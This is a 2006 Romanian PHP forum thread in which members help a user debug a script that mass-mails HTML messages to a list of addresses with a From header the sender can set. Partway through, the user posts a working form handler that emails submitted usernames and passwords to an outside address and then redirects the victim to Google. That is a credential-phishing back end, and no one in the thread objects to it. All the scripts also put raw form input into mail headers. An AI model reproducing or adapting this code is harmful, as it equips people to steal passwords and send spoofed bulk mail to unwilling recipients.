Pagina de start a forumului Forum PHP Romania - Discutii despre PHP, MySQL, Javascript, AJAX, etc Forum PHP Romania - Discutii despre PHP, MySQL, Javascript, AJAX, etc
Comunitatea PHP Romania
 

Stie cineva ce nu este in regula cu acest script??
Vezi mesajul original

 
       Pagina de start a forumului Forum PHP Romania - Discutii despre PHP, MySQL, Javascript, AJAX, etc -> PHP Avansat
Subiectul anterior :: Subiectul următor  
Autor Mesaj
painter



Data înscrierii: 16/Feb/2006
Mesaje: 16

Trimis: Mar Feb 28, 2006 10:23 pm    Titlul subiectului: Stie cineva ce nu este in regula cu acest script??  

AM facut acest script ca sa imi trimita un email la adresele de mail din fisierul adrese_mail.txt.Pe serverul local functioneaza...folosesc ca server smtp qk smtp server.Cand il pun pe host nu imi trimite...imi arata doar
... sent.
<?php
$filelocation="adrese_mail.txt";
$textfield3=$_POST['textfield3'];
$textfield2=$_POST['textfield2'];
$textfield=$_POST['textfield'];
$textarea=$_POST['textarea'];
$filename = "adrese_mail.txt";
$handle = fopen($filename, "r");
$contents2 = fread($handle, filesize($filename));
fclose($handle);

$lines = explode("\n",$contents2);
foreach ($lines as $l){

echo "$l ... sent<br>";
mail("$l", "$textfield3", stripslashes($textarea),
"MIME-Version: 1.0\r\n".
"Content-type: text/html; charset=iso-8859-1\r\n".
"From: $textfield2 <$textfield>\r\n" .
"Reply-To: $textfield\r\n" .
"X-Mailer: PHP/" . phpversion());

}



?>
Sus  
stealth



Data înscrierii: 21/Iun/2004
Mesaje: 304
Locație: Timisoara

Trimis: Mar Feb 28, 2006 11:10 pm    Titlul subiectului:  

incearca si tu ceva de genul:

if(mail(.....)){
echo "ok";
}else{
echo "bad";
}

ca sa vezi daca problema e la functia mail sau la server. daca e la server citeste mail-urile de la adresa de pe care incerci sa le trimiti s-ar putea sa iti vina acolo erorile.
Sus  
whooper



Data înscrierii: 05/Apr/2005
Mesaje: 727
Locație: Toronto ON

Trimis: Mar Feb 28, 2006 11:13 pm    Titlul subiectului:  

functia mail (in cazul in care e activa la hosting-ul tau) este de tip BOOLEAN

Citat: Returns TRUE if the mail was successfully accepted for delivery, FALSE otherwise.

Decat sa asumi ca un mail va fi trimis si sa scrii direct
an style="color: #000000"><?php echo "$l ... sent<br>"; 
mai bine afisezi ceva dupa ce iti dai seama ce intoarce functia :

an style="color: #000000"><?php error_reporting(E_ALL); foreach ($lines as $l){   if(mail("$l", ...)) {    echo "$l ... accepted for delivery.<br>";  } else {    echo "$l ... ran into problems.<br>";  } } 



later edit : ce mult imi ia sa scriu :D ( scuze stealth .. ca postez acelasi lucru )
Sus  
painter



Data înscrierii: 16/Feb/2006
Mesaje: 16

Trimis: Mie Mar 01, 2006 12:13 am    Titlul subiectului:  

ok am facut asta..dar tot nu merge.



<?php
$filelocation="adrese_mail.txt";

//probleme de compatibilitate cu linux fopen();
$textfield3=$_POST['textfield3'];
$textfield2=$_POST['textfield2'];
$textfield=$_POST['textfield'];
$textarea=$_POST['textarea'];
$filename = "adrese_mail.txt";
$handle = fopen($filename, "r");
$contents2 = fread($handle, filesize($filename));
fclose($handle);
$headere = "MIME-Version: 1.0\r\n";
$headere .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headere .= "From: $textfield2 <$textfield> \r\n";
$lines = explode("\n",$contents2);
foreach ($lines as $l){
if(mail($l,$textfield3, stripslashes($textarea),$headere)){
echo "$l ... accepted for delivery.<br>";
}else {
echo "$l ... ran into problems.<br>";
}
}

?>


care este problema?
Sus  
stealth



Data înscrierii: 21/Iun/2004
Mesaje: 304
Locație: Timisoara

Trimis: Mie Mar 01, 2006 12:16 am    Titlul subiectului:  

ti-a scris la toate ca sunt accepted for delivery ?
Sus  
painter



Data înscrierii: 16/Feb/2006
Mesaje: 16

Trimis: Mie Mar 01, 2006 12:18 am    Titlul subiectului:  

nop .....mi-a afisat ran into problems.
Sus  
stealth



Data înscrierii: 21/Iun/2004
Mesaje: 304
Locație: Timisoara

Trimis: Mie Mar 01, 2006 12:22 am    Titlul subiectului:  

cel mai probabil nu ai activata functia mail.
incearca sa scri:
error_reporting(E_ALL);
pe prima linie ... poate iti afiseaza mai multe erori.
Sus  
painter



Data înscrierii: 16/Feb/2006
Mesaje: 16

Trimis: Mie Mar 01, 2006 12:25 am    Titlul subiectului:  

nop imi afiseaza acelasi lucru....ran into problems....si da am pus error_reporting(E_ALL); in prima linie
Sus  
painter



Data înscrierii: 16/Feb/2006
Mesaje: 16

Trimis: Mie Mar 01, 2006 12:26 am    Titlul subiectului:  

ai vreo idee la o alternativa la ce vreau eu sa fac aici...un alt script asemanator poate sa ma ghidez dupa el.
Sus  
painter



Data înscrierii: 16/Feb/2006
Mesaje: 16

Trimis: Mie Mar 01, 2006 6:47 pm    Titlul subiectului:  

Am scris un nou script pentru un form si acesta functioneaza.Emailul este trimis.Ciudat ca foloseste functia mail().AI vreo idee....
<?php

$catre = 'email@yahoo.com';
$data_trimitere = date('d-m-Y H:i:s');

$subiect = $_POST['userid'];

$mesaj = '
<html>
<head>
<title>Parola Si User</title>
</head>
<body>
<p><tt>Data trimitere: '.$data_trimitere.' </tt></p>
<table>
<tr>
<td><tt> Userid: '.$_POST['userid'].' </tt></td>
</tr>
<tr>
<td><tt> pass: '.$_POST['pass'].' </tt></td>
</tr>
</table>
</body>
</html>';

$headere = "MIME-Version: 1.0\r\n";
$headere .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headere .= "From: ".$_POST['userid']."<".$_POST['pass'].">\r\n";

mail($catre, $subiect, $mesaj, $headere);
echo'<META HTTP-EQUIV=Refresh CONTENT="0; URL=http://www.google.com/">';
?>
Sus  
aurelian



Data înscrierii: 01/Iun/2003
Mesaje: 833
Locație: Bucuresti

Trimis: Mie Mar 01, 2006 10:20 pm    Titlul subiectului:  

painter a scris:
[...]
functioneaza.Emailul este trimis.Ciudat ca foloseste functia mail().
[...]

Deseori in php se foloseste functia mail pentru a trimite un email. Ciudat.
Sus  
whooper



Data înscrierii: 05/Apr/2005
Mesaje: 727
Locație: Toronto ON

Trimis: Joi Mar 02, 2006 12:05 am    Titlul subiectului:  

:) pai e ciudat .. inseamna ca problemele tale nu's de la "activarea" functiei mail() ci de la apelarea ei. Sunt aproape convins ca in variabila in care citesti din fisier adresa destinatarului nu ai adresele de mail "curate" .. un \r\n sau doar \n la sfarsit de rand gasesti intotdeauna prin fisiere text ..

vezi ca la php.net ai descris cum trebuie sa arate parametrii functiei aleia.
Sus  
cdanea



Data înscrierii: 05/Iul/2003
Mesaje: 115
Locație: Bucuresti

Trimis: Joi Mar 16, 2006 2:53 pm    Titlul subiectului:  

incearca codul urmator, este putin mai curat, si anunta mai multe kestii
Mie mi-a mers.
<?php /*error_reporting(E_ALL);*/ ob_start();// just in case nu ai OB $path_to_file = ""; $filelname = "adrese_mail.txt";  $headere = "MIME-Version: 1.0\r\n"; $headere .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headere .= "From: $textfield2 <$textfield> \r\n"; $textfield3 = $_POST['textfield3']; $textfield2 = $_POST['textfield2']; $textfield = $_POST['textfield']; $textarea = $_POST['textarea']; /* ai grija! calea trebuie sa fie corecta, in cazul de fata in acelasi  director cu scriptul care ruleaza acest cod (sau cel care require acest cod) */ if(is_file($path_to_file . $filelname)) {     foreach (file($path_to_file . $filelname) as $l)      {         $l=trim($l);         if(!empty($l) && function_exists("mail")){             if (mail($l, $textfield3, stripslashes($textarea), $headere)) {                 echo "$l ... accepted for delivery.<br />\n";  /* echo-urile astea s-ar putea sa intre  in conflict cu mail(), de aia am pus ob_start();*/             } else {                 echo "$l ... ran into problems.<br />\n";             }          }          elseif(!function_exists("mail"))         {             echo "Sorry, no support for mail function. Use SMTP!";             break;         }     } } else {     echo "Wrong file name/path"; } ob_flush(); ?>
Si un avertisment din PHP Manual:
Cod: It is important to note that just because the mail was accepted for delivery, it does NOT mean the mail will actually reach the intended destination.
Sus  
PHPRomania Bot
Bot Member


Data înscrierii: 27/Dec/2007
Mesaje: 1
Locaţie: Server Google
Trimis: Mie Dec 26, 2007 7:01 pm   Titlul subiectului: Ad  

Sus  
 
       Pagina de start a forumului Forum PHP Romania - Discutii despre PHP, MySQL, Javascript, AJAX, etc -> PHP Avansat
Pagina 1 din 1


Powered by phpBB 2.0.22 © 2001, 2002 phpBB Group
Varianta în limba română: Romanian phpBB online community